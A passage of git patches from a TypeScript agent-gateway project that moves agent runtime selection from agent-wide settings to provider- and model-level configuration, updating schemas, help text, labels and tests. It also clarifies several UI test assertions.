AgentModelConfig } from "./types.agents-shared.js"; type AgentModelListLike = { @@ -20,7 +24,9 @@ function modelKeyForConfig(provider: string, model: string): string { if (!modelId) { return providerId; } - return modelId.toLowerCase().startsWith(`${providerId.toLowerCase()}/`) + return normalizeLowercaseStringOrEmpty(modelId).startsWith( + `${normalizeLowercaseStringOrEmpty(providerId)}/`, + ) ? modelId : `${providerId}/${modelId}`; } diff --git a/src/config/plugin-auto-enable.core.test.ts b/src/config/plugin-auto-enable.core.test.ts index 01c968817ad..a4a9c2e2bd5 100644 --- a/src/config/plugin-auto-enable.core.test.ts +++ b/src/config/plugin-auto-enable.core.test.ts @@ -675,13 +675,17 @@ describe("applyPluginAutoEnable core", () => { ]); }); - it("auto-enables an opt-in plugin when an agent runtime is configured", () => { + it("auto-enables an opt-in plugin when a provider runtime is configured", () => { const result = applyPluginAutoEnable({ config: { - agents: { - defaults: { - agentRuntime: { - id: "codex", + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + models: [], + agentRuntime: { + id: "codex", + }, }, }, }, @@ -702,13 +706,17 @@ describe("applyPluginAutoEnable core", () => { expect(result.changes).toContain("codex agent runtime configured, enabled automatically."); }); - it("auto-enables a CLI backend owner when an agent runtime is configured", () => { + it("auto-enables a CLI backend owner when a provider runtime is configured", () => { const result = applyPluginAutoEnable({ config: { - agents: { - defaults: { - agentRuntime: { - id: "claude-cli", + models: { + providers: { + anthropic: { + baseUrl: "https://api.anthropic.com", + models: [], + agentRuntime: { + id: "claude-cli", + }, }, }, }, @@ -732,7 +740,7 @@ describe("applyPluginAutoEnable core", () => { expect(result.changes).toContain("claude-cli agent runtime configured, enabled automatically."); }); - it("auto-enables an opt-in plugin when an agent harness runtime is forced by env", () => { + it("ignores agent harness runtime env when auto-enabling plugins", () => { const result = applyPluginAutoEnable({ config: {}, env: makeIsolatedEnv({ OPENCLAW_AGENT_RUNTIME: "codex" }), @@ -747,8 +755,8 @@ describe("applyPluginAutoEnable core", () => { ]), }); - expect(result.config.plugins?.entries?.codex?.enabled).toBe(true); - expect(result.changes).toContain("codex agent runtime configured, enabled automatically."); + expect(result.config.plugins?.entries?.codex?.enabled).toBeUndefined(); + expect(result.changes).not.toContain("codex agent runtime configured, enabled automatically."); }); it("skips auto-enable work for configs without channel or plugin-owned surfaces", () => { diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 2e2f2966a06..eded1129a48 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -885,6 +885,10 @@ export const FIELD_HELP: Record = { "Static HTTP headers merged into provider requests for tenant routing, proxy auth, or custom gateway requirements. Use this sparingly and keep sensitive header values in secrets.", "models.providers.*.authHeader": "When true, credentials are sent via the HTTP Authorization header even if alternate auth is possible. Use this only when your provider or proxy explicitly requires Authorization forwarding.", + "models.providers.*.agentRuntime": + "Optional low-level agent runtime policy for this provider. Use provider/model runtime policy instead of agent-wide runtime pins; omitted/default lets OpenClaw choose the runtime for the selected provider.", + "models.providers.*.agentRuntime.id": + 'Provider agent runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli". OpenAI on the official endpoint defaults to the Codex harness when omitted.', "models.providers.*.request": "Optional request overrides for model-provider requests, including extra headers, auth overrides, proxy routing, TLS client settings, and optional allowPrivateNetwork for trusted self-hosted endpoints. Use these only when your upstream or enterprise network path requires transport customization.", "models.providers.*.request.headers": @@ -939,6 +943,10 @@ export const FIELD_HELP: Record = { "When true, allow HTTPS to the model base URL when DNS resolves to private, CGNAT, or similar ranges, via the provider HTTP fetch guard (fetchWithSsrFGuard). OpenAI Responses WebSocket reuses request for headers/TLS but does not use that fetch SSRF path. Use only for operator-controlled self-hosted OpenAI-compatible endpoints (LAN, overlay, split DNS). Default is false.", "models.providers.*.models": "Declared model list for a provider including identifiers, metadata, provider-specific params, and optional compatibility/cost hints. Keep IDs exact to provider catalog values so selection and fallback resolve correctly.", + "models.providers.*.models[].agentRuntime": + "Optional low-level agent runtime policy for this specific model. Model runtime policy overrides the provider runtime policy.", + "models.providers.*.models[].agentRuntime.id": + 'Model agent runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', auth: "Authentication profile root used for multi-profile provider credentials and cooldown-based failover ordering. Keep profiles minimal and explicit so automatic failover behavior stays auditable.", "channels.matrix.allowBots": 'Allow messages from other configured Matrix bot accounts to trigger replies (default: false). Set "mentions" to only accept bot messages that visibly mention this bot.', @@ -1015,6 +1023,10 @@ export const FIELD_HELP: Record = { 'Include absolute timestamps in message envelopes ("on" or "off").', "agents.defaults.envelopeElapsed": 'Include elapsed time in message envelopes ("on" or "off").', "agents.defaults.models": "Configured model catalog (keys are full provider/model IDs).", + "agents.defaults.models.*.agentRuntime": + "Optional per-model runtime policy for the default agent. Use this for model-specific runtime exceptions instead of setting a whole-agent runtime.", + "agents.defaults.models.*.agentRuntime.id": + 'Default-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.defaults.memorySearch": "Vector search over MEMORY.md and memory/*.md (per-agent overrides supported).", "agents.defaults.memorySearch.enabled": @@ -1263,19 +1275,26 @@ export const FIELD_HELP: Record = { "agents.defaults.model.fallbacks": "Ordered fallback models (provider/model). Used when the primary model fails.", "agents.defaults.agentRuntime": - "Default agent runtime policy. Omitted id uses built-in OpenClaw Pi. Use id=auto for plugin harness selection, a registered harness id such as codex, or a supported CLI backend alias such as claude-cli.", + "Legacy whole-agent runtime policy. It is ignored by runtime selection; configure runtime policy on a provider or model instead. Run openclaw doctor --fix to remove stale values.", "agents.defaults.agentRuntime.id": - "Agent runtime id: pi, auto, a registered plugin harness id such as codex, or a supported CLI backend alias such as claude-cli. Omitted id uses built-in OpenClaw Pi.", + "Legacy whole-agent runtime id. It is ignored by runtime selection; configure models.providers..agentRuntime.id or a model-specific agentRuntime.id instead.", "agents.defaults.embeddedHarness": - "Legacy input for agents.defaults.agentRuntime. Run openclaw doctor --fix to rewrite it to agentRuntime.", - "agents.defaults.embeddedHarness.runtime": "Legacy input for agents.defaults.agentRuntime.id.", + "Legacy whole-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", + "agents.defaults.embeddedHarness.runtime": + "Legacy whole-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", + "agents.list.*.models": "Per-agent model catalog overrides keyed by full provider/model IDs.", + "agents.list.*.models.*.agentRuntime": + "Optional per-model runtime policy for this agent. Use this for agent-specific model exceptions instead of setting a whole-agent runtime.", + "agents.list.*.models.*.agentRuntime.id": + 'Per-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.list.*.agentRuntime": - "Per-agent agent runtime policy override. Use id=codex to force Codex for one agent while defaults stay in auto mode.", + "Legacy per-agent runtime policy. It is ignored by runtime selection; configure provider/model runtime policy instead. Run openclaw doctor --fix to remove stale values.", "agents.list.*.agentRuntime.id": - "Per-agent agent runtime id: pi, auto, a registered plugin harness id such as codex, or a supported CLI backend alias such as claude-cli. Omitted id inherits the default OpenClaw Pi behavior.", + "Legacy per-agent runtime id. It is ignored by runtime selection; configure a provider/model runtime id instead.", "agents.list.*.embeddedHarness": - "Legacy input for agents.list.*.agentRuntime. Run openclaw doctor --fix to rewrite it to agentRuntime.", - "agents.list.*.embeddedHarness.runtime": "Legacy input for agents.list.*.agentRuntime.id.", + "Legacy per-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", + "agents.list.*.embeddedHarness.runtime": + "Legacy per-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", "agents.defaults.imageModel.primary": "Optional image model (provider/model) used when the primary model lacks image input.", "agents.defaults.imageModel.fallbacks": "Ordered fallback image models (provider/model).", diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index b96e19b2c78..531f818795d 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -86,8 +86,8 @@ export const FIELD_LABELS: Record = { "agents.defaults.contextLimits.memoryGetDefaultLines": "Default memory_get Line Window", "agents.defaults.contextLimits.toolResultMaxChars": "Default Tool Result Max Chars", "agents.defaults.contextLimits.postCompactionMaxChars": "Default Post-compaction Max Chars", - "agents.defaults.agentRuntime": "Default Agent Runtime Settings", - "agents.defaults.agentRuntime.id": "Default Agent Runtime", + "agents.defaults.agentRuntime": "Legacy Default Agent Runtime", + "agents.defaults.agentRuntime.id": "Legacy Default Agent Runtime ID", "agents.defaults.embeddedHarness": "Default Legacy Embedded Harness Settings", "agents.defaults.embeddedHarness.runtime": "Default Legacy Embedded Harness Runtime", "agents.list": "Agent List", @@ -98,8 +98,11 @@ export const FIELD_LABELS: Record = { "agents.list[].contextLimits.memoryGetDefaultLines": "Agent memory_get Line Window", "agents.list[].contextLimits.toolResultMaxChars": "Agent Tool Result Max Chars", "agents.list[].contextLimits.postCompactionMaxChars": "Agent Post-compaction Max Chars", - "agents.list.*.agentRuntime": "Agent Runtime", - "agents.list.*.agentRuntime.id": "Agent Runtime", + "agents.list.*.models": "Agent Model Overrides", + "agents.list.*.models.*.agentRuntime": "Agent Model Runtime", + "agents.list.*.models.*.agentRuntime.id": "Agent Model Runtime ID", + "agents.list.*.agentRuntime": "Legacy Agent Runtime", + "agents.list.*.agentRuntime.id": "Legacy Agent Runtime ID", "agents.list.*.embeddedHarness": "Agent Legacy Embedded Harness", "agents.list.*.embeddedHarness.runtime": "Agent Legacy Embedded Harness Runtime", gateway: "Gateway", @@ -538,6 +541,8 @@ export const FIELD_LABELS: Record = { "models.providers.*.params": "Model Provider Runtime Parameters", "models.providers.*.headers": "Model Provider Headers", "models.providers.*.authHeader": "Model Provider Authorization Header", + "models.providers.*.agentRuntime": "Model Provider Runtime", + "models.providers.*.agentRuntime.id": "Model Provider Runtime ID", "models.providers.*.request": "Model Provider Request Overrides", "models.providers.*.request.headers": "Model Provider Request Headers", "models.providers.*.request.auth": "Model Provider Request Auth Override", @@ -566,6 +571,8 @@ export const FIELD_LABELS: Record = { "models.providers.*.request.tls.insecureSkipVerify": "Model Provider Request TLS Skip Verify", "models.providers.*.request.allowPrivateNetwork": "Model Provider Request Allow Private Network", "models.providers.*.models": "Model Provider Model List", + "models.providers.*.models[].agentRuntime": "Model Runtime", + "models.providers.*.models[].agentRuntime.id": "Model Runtime ID", "auth.cooldowns.billingBackoffHours": "Billing Backoff (hours)", "auth.cooldowns.billingBackoffHoursByProvider": "Billing Backoff Overrides", "auth.cooldowns.billingMaxHours": "Billing Backoff Cap (hours)", @@ -576,6 +583,8 @@ export const FIELD_LABELS: Record = { "auth.cooldowns.overloadedBackoffMs": "Overloaded Backoff (ms)", "auth.cooldowns.rateLimitedProfileRotations": "Rate-Limited Profile Rotations", "agents.defaults.models": "Models", + "agents.defaults.models.*.agentRuntime": "Default Agent Model Runtime", + "agents.defaults.models.*.agentRuntime.id": "Default Agent Model Runtime ID", "agents.defaults.model.primary": "Primary Model", "agents.defaults.model.fallbacks": "Model Fallbacks", "agents.defaults.imageModel.primary": "Image Model", diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index 81de0a52bea..f0658f86b0d 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -34,6 +34,8 @@ export type AgentModelEntryConfig = { alias?: string; /** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */ params?: Record; + /** Optional agent execution runtime for this specific provider/model entry. */ + agentRuntime?: AgentRuntimePolicyConfig; /** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */ streaming?: boolean; }; diff --git a/src/config/types.agents.ts b/src/config/types.agents.ts index f6b5a46d3a1..0ad77be4293 100644 --- a/src/config/types.agents.ts +++ b/src/config/types.agents.ts @@ -2,6 +2,7 @@ import type { ChatType } from "../channels/chat-type.js"; import type { AgentContextLimitsConfig, AgentDefaultsConfig, + AgentModelEntryConfig, EmbeddedPiExecutionContract, } from "./types.agent-defaults.js"; import type { @@ -86,6 +87,8 @@ export type AgentConfig = { /** @deprecated Use agentRuntime. */ embeddedHarness?: AgentEmbeddedHarnessConfig; model?: AgentModelConfig; + /** Per-model metadata overrides for this agent. */ + models?: Record; /** Optional per-agent default thinking level (overrides agents.defaults.thinkingDefault). */ thinkingDefault?: "off" | "minimal" | "low" | "medium" | "high" | "xhigh" | "adaptive" | "max"; /** Optional per-agent default verbosity level. */ diff --git a/src/config/types.models.ts b/src/config/types.models.ts index 9b524a5a7c2..ff1ef052176 100644 --- a/src/config/types.models.ts +++ b/src/config/types.models.ts @@ -3,6 +3,7 @@ import type { OpenAICompletionsCompat, OpenAIResponsesCompat, } from "@mariozechner/pi-ai"; +import type { AgentRuntimePolicyConfig } from "./types.agents-shared.js"; import type { ConfiguredModelProviderRequest } from "./types.provider-request.js"; import type { SecretInput } from "./types.secrets.js"; @@ -109,6 +110,8 @@ export type ModelDefinitionConfig = { maxTokens: number; /** Provider-specific request/runtime parameters passed through to provider plugins. */ params?: Record; + /** Optional agent execution runtime override for this provider/model pair. */ + agentRuntime?: AgentRuntimePolicyConfig; headers?: Record; compat?: ModelCompatConfig; metadataSource?: "models-add"; @@ -126,6 +129,8 @@ export type ModelProviderConfig = { injectNumCtxForOpenAICompat?: boolean; /** Provider-specific runtime parameters interpreted by provider plugins. */ params?: Record; + /** Optional default agent execution runtime for models under this provider. */ + agentRuntime?: AgentRuntimePolicyConfig; headers?: Record; authHeader?: boolean; request?: ConfiguredModelProviderRequest; diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 385f3aafbab..2f2a99655fd 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -70,6 +70,7 @@ export const AgentDefaultsSchema = z alias: z.string().optional(), /** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */ params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: AgentRuntimePolicySchema, /** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */ streaming: z.boolean().optional(), }) diff --git a/src/config/zod-schema.agent-runtime.ts b/src/config/zod-schema.agent-runtime.ts index daa2f0116c2..72d477a772b 100644 --- a/src/config/zod-schema.agent-runtime.ts +++ b/src/config/zod-schema.agent-runtime.ts @@ -847,6 +847,19 @@ export const AgentEntrySchema = z agentRuntime: AgentRuntimePolicySchema, embeddedHarness: AgentEmbeddedHarnessSchema, model: AgentModelSchema.optional(), + models: z + .record( + z.string(), + z + .object({ + alias: z.string().optional(), + params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: AgentRuntimePolicySchema, + streaming: z.boolean().optional(), + }) + .strict(), + ) + .optional(), thinkingDefault: z .enum(["off", "minimal", "low", "medium", "high", "xhigh", "adaptive", "max"]) .optional(), diff --git a/src/config/zod-schema.core.ts b/src/config/zod-schema.core.ts index 9e7885537b6..4a7b8285052 100644 --- a/src/config/zod-schema.core.ts +++ b/src/config/zod-schema.core.ts @@ -305,6 +305,13 @@ const ConfiguredModelProviderRequestSchema = z .strict() .optional(); +const ModelAgentRuntimePolicySchema = z + .object({ + id: z.string().optional(), + }) + .strict() + .optional(); + const ModelDefinitionSchema = z .object({ id: z.string().min(1), @@ -343,6 +350,7 @@ const ModelDefinitionSchema = z contextTokens: z.number().int().positive().optional(), maxTokens: z.number().positive().optional(), params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: ModelAgentRuntimePolicySchema, headers: z.record(z.string(), z.string()).optional(), compat: ModelCompatSchema, metadataSource: z.literal("models-add").optional(), @@ -363,6 +371,7 @@ const ModelProviderSchema = z timeoutSeconds: z.number().int().positive().optional(), injectNumCtxForOpenAICompat: z.boolean().optional(), params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: ModelAgentRuntimePolicySchema, headers: z.record(z.string(), SecretInputSchema.register(sensitive)).optional(), authHeader: z.boolean().optional(), request: ConfiguredModelProviderRequestSchema, diff --git a/src/cron/isolated-agent/run-executor.ts b/src/cron/isolated-agent/run-executor.ts index ceb5a864d1b..51e58d7181e 100644 --- a/src/cron/isolated-agent/run-executor.ts +++ b/src/cron/isolated-agent/run-executor.ts @@ -141,6 +141,7 @@ export function createCronPromptExecutor(params: { provider: providerOverride, cfg: params.cfgWithAgentDefaults, agentId: params.agentId, + modelId: modelOverride, }) ?? providerOverride; const bootstrapPromptWarningSignature = bootstrapPromptWarningSignaturesSeen[bootstrapPromptWarningSignaturesSeen.length - 1]; diff --git a/src/cron/isolated-agent/run.payload-fallbacks.test.ts b/src/cron/isolated-agent/run.payload-fallbacks.test.ts index f131718ec17..966baf367c4 100644 --- a/src/cron/isolated-agent/run.payload-fallbacks.test.ts +++ b/src/cron/isolated-agent/run.payload-fallbacks.test.ts @@ -84,11 +84,14 @@ describe("runCronIsolatedAgentTurn — payload.fallbacks", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-6", fallbacks: ["anthropic/claude-sonnet-4-6"], }, + models: { + "anthropic/claude-opus-4-6": { agentRuntime: { id: "claude-cli" } }, + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, + }, }, }, }, diff --git a/src/cron/isolated-agent/run.ts b/src/cron/isolated-agent/run.ts index 41c20851136..6cf6f1a0b02 100644 --- a/src/cron/isolated-agent/run.ts +++ b/src/cron/isolated-agent/run.ts @@ -746,8 +746,6 @@ async function prepareCronRunContext(params: { agentId, sessionKey: agentSessionKey, }).runtime, - sessionAgentHarnessId: cronSession.sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: cronSession.sessionEntry.agentRuntimeOverride, }), agentDir, sessionEntry: cronSession.sessionEntry, diff --git a/src/gateway/protocol/schema/agents-models-skills.ts b/src/gateway/protocol/schema/agents-models-skills.ts index ff98bbc6c72..854ca5fd619 100644 --- a/src/gateway/protocol/schema/agents-models-skills.ts +++ b/src/gateway/protocol/schema/agents-models-skills.ts @@ -48,6 +48,8 @@ export const AgentSummarySchema = Type.Object( Type.Literal("env"), Type.Literal("agent"), Type.Literal("defaults"), + Type.Literal("model"), + Type.Literal("provider"), Type.Literal("implicit"), ]), }, diff --git a/src/gateway/server-methods/sessions.ts b/src/gateway/server-methods/sessions.ts index bfa2b095a6d..dd3de12dff0 100644 --- a/src/gateway/server-methods/sessions.ts +++ b/src/gateway/server-methods/sessions.ts @@ -2,7 +2,7 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; import { CURRENT_SESSION_VERSION } from "@mariozechner/pi-coding-agent"; -import { resolveAgentRuntimeMetadata } from "../../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentWorkspaceDir, @@ -1601,7 +1601,13 @@ export const sessionsHandlers: GatewayRequestHandlers = { provider: resolved.provider, model: resolved.model, }); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, agentId); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId, + provider: resolvedDisplayModel.provider, + model: resolvedDisplayModel.model, + sessionKey: target.canonicalKey ?? key, + }); const result: SessionsPatchResult = { ok: true, path: storePath, diff --git a/src/gateway/server.sessions.permissions-hooks.test.ts b/src/gateway/server.sessions.permissions-hooks.test.ts index 22d4207109c..ab841f78140 100644 --- a/src/gateway/server.sessions.permissions-hooks.test.ts +++ b/src/gateway/server.sessions.permissions-hooks.test.ts @@ -291,7 +291,7 @@ test("session:patch hook mutations cannot change the response path", async () => expect(patched.payload?.resolved).toEqual({ modelProvider: "anthropic", model: "claude-opus-4-6", - agentRuntime: { id: "pi", source: "implicit" }, + agentRuntime: { id: "auto", source: "implicit" }, }); expect(patched.payload?.entry.label).toBe("cfg-isolation"); diff --git a/src/gateway/server.sessions.store-rpc.test.ts b/src/gateway/server.sessions.store-rpc.test.ts index 7c8eb94df98..b5a7e5e8a69 100644 --- a/src/gateway/server.sessions.store-rpc.test.ts +++ b/src/gateway/server.sessions.store-rpc.test.ts @@ -352,7 +352,7 @@ test("lists and patches session store via sessions.* RPC", async () => { expect(modelPatched.payload?.resolved?.modelProvider).toBe("openai"); expect(modelPatched.payload?.resolved?.model).toBe("gpt-test-a"); expect(modelPatched.payload?.resolved?.agentRuntime).toEqual({ - id: "pi", + id: "codex", source: "implicit", }); @@ -370,7 +370,7 @@ test("lists and patches session store via sessions.* RPC", async () => { ); expect(mainAfterModelPatch?.modelProvider).toBe("openai"); expect(mainAfterModelPatch?.model).toBe("gpt-test-a"); - expect(mainAfterModelPatch?.agentRuntime).toEqual({ id: "pi", source: "implicit" }); + expect(mainAfterModelPatch?.agentRuntime).toEqual({ id: "codex", source: "implicit" }); const compacted = await directSessionReq<{ ok: true; compacted: boolean }>("sessions.compact", { key: "agent:main:main", diff --git a/src/gateway/session-utils.test.ts b/src/gateway/session-utils.test.ts index 979651a6bad..f1e71bcf58f 100644 --- a/src/gateway/session-utils.test.ts +++ b/src/gateway/session-utils.test.ts @@ -58,15 +58,19 @@ function createSingleAgentAvatarConfig(workspace: string): OpenClawConfig { function createModelDefaultsConfig(params: { primary: string; - models?: Record>; + models?: Record; agentRuntime?: { id: string }; }): OpenClawConfig { return { agents: { defaults: { model: { primary: params.primary }, - models: params.models, - agentRuntime: params.agentRuntime, + models: { + ...params.models, + ...(params.agentRuntime + ? { [params.primary]: { agentRuntime: params.agentRuntime } } + : {}), + }, }, }, } as OpenClawConfig; @@ -1049,9 +1053,8 @@ describe("gateway session utils", () => { primary: "openai/gpt-5.4", fallbacks: ["openai-codex/gpt-5.4"], }, - agentRuntime: { id: "pi" }, }, - list: [{ id: "main", default: true, agentRuntime: { id: "claude-cli" } }], + list: [{ id: "main", default: true }], }, } as OpenClawConfig; @@ -1064,8 +1067,8 @@ describe("gateway session utils", () => { fallbacks: ["openai-codex/gpt-5.4"], }, agentRuntime: { - id: "claude-cli", - source: "agent", + id: "codex", + source: "implicit", }, }); }); @@ -1073,9 +1076,18 @@ describe("gateway session utils", () => { test("listAgentsForGateway reports explicit plugin runtime metadata", () => { const cfg = { session: { mainKey: "main" }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, + }, + }, agents: { defaults: { - agentRuntime: { id: "codex" }, + model: { primary: "openai/gpt-5.4" }, }, list: [{ id: "main", default: true }], }, @@ -1086,7 +1098,7 @@ describe("gateway session utils", () => { id: "main", agentRuntime: { id: "codex", - source: "defaults", + source: "provider", }, }); }); @@ -1312,7 +1324,7 @@ describe("listSessionsFromStore selected model display", () => { lastMessagePreview: "last 0", }), ); - expect(listed.sessions[0]?.agentRuntime).toEqual({ id: "pi", source: "implicit" }); + expect(listed.sessions[0]?.agentRuntime).toEqual({ id: "codex", source: "implicit" }); expect(listed.sessions[0]?.thinkingLevel).toBeUndefined(); expect(listed.sessions[0]?.thinkingLevels?.length).toBeGreaterThan(0); expect(listed.sessions[0]?.thinkingOptions?.length).toBeGreaterThan(0); @@ -1441,7 +1453,7 @@ describe("listSessionsFromStore selected model display", () => { expect(result.sessions[0]?.model).toBe("claude-opus-4-7"); expect(result.sessions[0]?.agentRuntime).toEqual({ id: "claude-cli", - source: "defaults", + source: "model", }); }); diff --git a/src/gateway/session-utils.ts b/src/gateway/session-utils.ts index be80b252324..5a4a712e82f 100644 --- a/src/gateway/session-utils.ts +++ b/src/gateway/session-utils.ts @@ -1,6 +1,6 @@ import fs from "node:fs"; import path from "node:path"; -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentConfig, @@ -1012,13 +1012,20 @@ export function listAgentsForGateway(cfg: OpenClawConfig): { const agents = agentIds.map((id) => { const meta = configuredById.get(id); const model = resolveGatewayAgentModel(cfg, id); + const resolvedModel = resolveDefaultModelForAgent({ cfg, agentId: id }); return Object.assign( { id, name: meta?.name, identity: meta?.identity, workspace: resolveAgentWorkspaceDir(cfg, id), - agentRuntime: resolveAgentRuntimeMetadata(cfg, id), + agentRuntime: resolveModelAgentRuntimeMetadata({ + cfg, + agentId: id, + provider: resolvedModel.provider, + model: resolvedModel.model, + sessionKey: resolveAgentMainSessionKey({ cfg, agentId: id }), + }), }, model ? { model } : {}, ); @@ -1711,7 +1718,6 @@ export function buildGatewaySessionRow(params: { const latestCompactionCheckpoint = buildCompactionCheckpointPreview( resolveLatestCompactionCheckpoint(entry), ); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, sessionAgentId); const selectedOrRuntimeModelProvider = selectedModel?.provider ?? modelProvider; const selectedOrRuntimeModel = selectedModel?.model ?? model; const rowModelIdentity = lightweight @@ -1724,6 +1730,13 @@ export function buildGatewaySessionRow(params: { }); const rowModelProvider = rowModelIdentity.provider; const rowModel = rowModelIdentity.model; + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId: sessionAgentId, + provider: rowModelProvider, + model: rowModel, + sessionKey: key, + }); const estimatedCostUsd = lightweight ? resolveNonNegativeNumber(entry?.estimatedCostUsd) : (resolveEstimatedSessionCostUsd({ diff --git a/src/shared/session-types.ts b/src/shared/session-types.ts index 7833bcf28ec..80ac26ef0c0 100644 --- a/src/shared/session-types.ts +++ b/src/shared/session-types.ts @@ -14,7 +14,7 @@ export type GatewayAgentModel = { export type GatewayAgentRuntime = { id: string; fallback?: "pi" | "none"; - source: "env" | "agent" | "defaults" | "implicit"; + source: "env" | "agent" | "defaults" | "model" | "provider" | "implicit"; }; export type GatewayAgentRow = { diff --git a/src/status/agent-runtime-label.ts b/src/status/agent-runtime-label.ts index ef35fa744d5..e532d5cfb08 100644 --- a/src/status/agent-runtime-label.ts +++ b/src/status/agent-runtime-label.ts @@ -32,10 +32,7 @@ export function resolveAgentRuntimeLabel(args: { return backend ? `${acpAgent} (acp/${backend})` : `${acpAgent} (acp)`; } - const runtimeRaw = - normalizeOptionalString(args.resolvedHarness) ?? - normalizeOptionalString(args.sessionEntry?.agentRuntimeOverride) ?? - normalizeOptionalString(args.sessionEntry?.agentHarnessId); + const runtimeRaw = normalizeOptionalString(args.resolvedHarness); const runtime = normalizeOptionalLowercaseString(runtimeRaw); if (runtime && runtime !== "auto" && runtime !== "default") { return AGENT_RUNTIME_LABELS[runtime] ?? sanitizeTerminalText(runtimeRaw ?? runtime); From d16657e9218063e5f285cb6622f49bd88cbb0bca Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:06:51 +0100 Subject: [PATCH 073/174] test: clarify slash command browser import assertion --- ui/src/ui/chat/slash-commands.browser-import.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/src/ui/chat/slash-commands.browser-import.test.ts b/ui/src/ui/chat/slash-commands.browser-import.test.ts index d7e9c7ed8eb..5028e4ade5c 100644 --- a/ui/src/ui/chat/slash-commands.browser-import.test.ts +++ b/ui/src/ui/chat/slash-commands.browser-import.test.ts @@ -27,7 +27,7 @@ describe("slash command browser import", () => { ); const mod = (await import(browserImportPath)) as SlashCommandsModule; - expect(mod.SLASH_COMMANDS.some((command) => command.name === "think")).toBe(true); + expect(mod.SLASH_COMMANDS.map((command) => command.name)).toContain("think"); expect(slashCommands).toContain("commands-registry.shared.js"); expect(sharedRegistry).toContain("thinking.shared.js"); expect(sharedRegistry).not.toContain("./thinking.js"); From 10eb02fc8eafd938f6353c9514b77a66a965cdd8 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:08:26 +0100 Subject: [PATCH 074/174] test: clarify sessions option assertions --- ui/src/ui/views/sessions.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/ui/src/ui/views/sessions.test.ts b/ui/src/ui/views/sessions.test.ts index c616ce46a86..d2a9140db7a 100644 --- a/ui/src/ui/views/sessions.test.ts +++ b/ui/src/ui/views/sessions.test.ts @@ -692,11 +692,11 @@ describe("sessions view", () => { const reasoning = selects[3] as HTMLSelectElement | undefined; expect(fast?.value).toBe("on"); expect(verbose?.value).toBe("full"); - expect(Array.from(verbose?.options ?? []).some((option) => option.value === "full")).toBe(true); + expect(Array.from(verbose?.options ?? []).map((option) => option.value)).toContain("full"); expect(reasoning?.value).toBe("custom-mode"); - expect( - Array.from(reasoning?.options ?? []).some((option) => option.value === "custom-mode"), - ).toBe(true); + expect(Array.from(reasoning?.options ?? []).map((option) => option.value)).toContain( + "custom-mode", + ); const onSelectPage = vi.fn(); const onDeselectPage = vi.fn(); From a92a349925c7d1e4e43200a2326ff9b34988a202 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:10:39 +0100 Subject: [PATCH 075/174] test: clarify chat canvas block assertions --- ui/src/ui/chat/build-chat-items.test.ts | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/ui/src/ui/chat/build-chat-items.test.ts b/ui/src/ui/chat/build-chat-items.test.ts index 90d3255b5ab..6e818f76bef 100644 --- a/ui/src/ui/chat/build-chat-items.test.ts +++ b/ui/src/ui/chat/build-chat-items.test.ts @@ -137,7 +137,7 @@ describe("buildChatItems", () => { expect(groups).toHaveLength(1); expect(groups[0].messages).toHaveLength(1); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(true); + expect(canvasBlocksIn(groups[0])).toHaveLength(1); }); it("suppresses active HEARTBEAT_OK streams before rendering", () => { @@ -260,8 +260,8 @@ describe("buildChatItems", () => { ], }); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(true); - 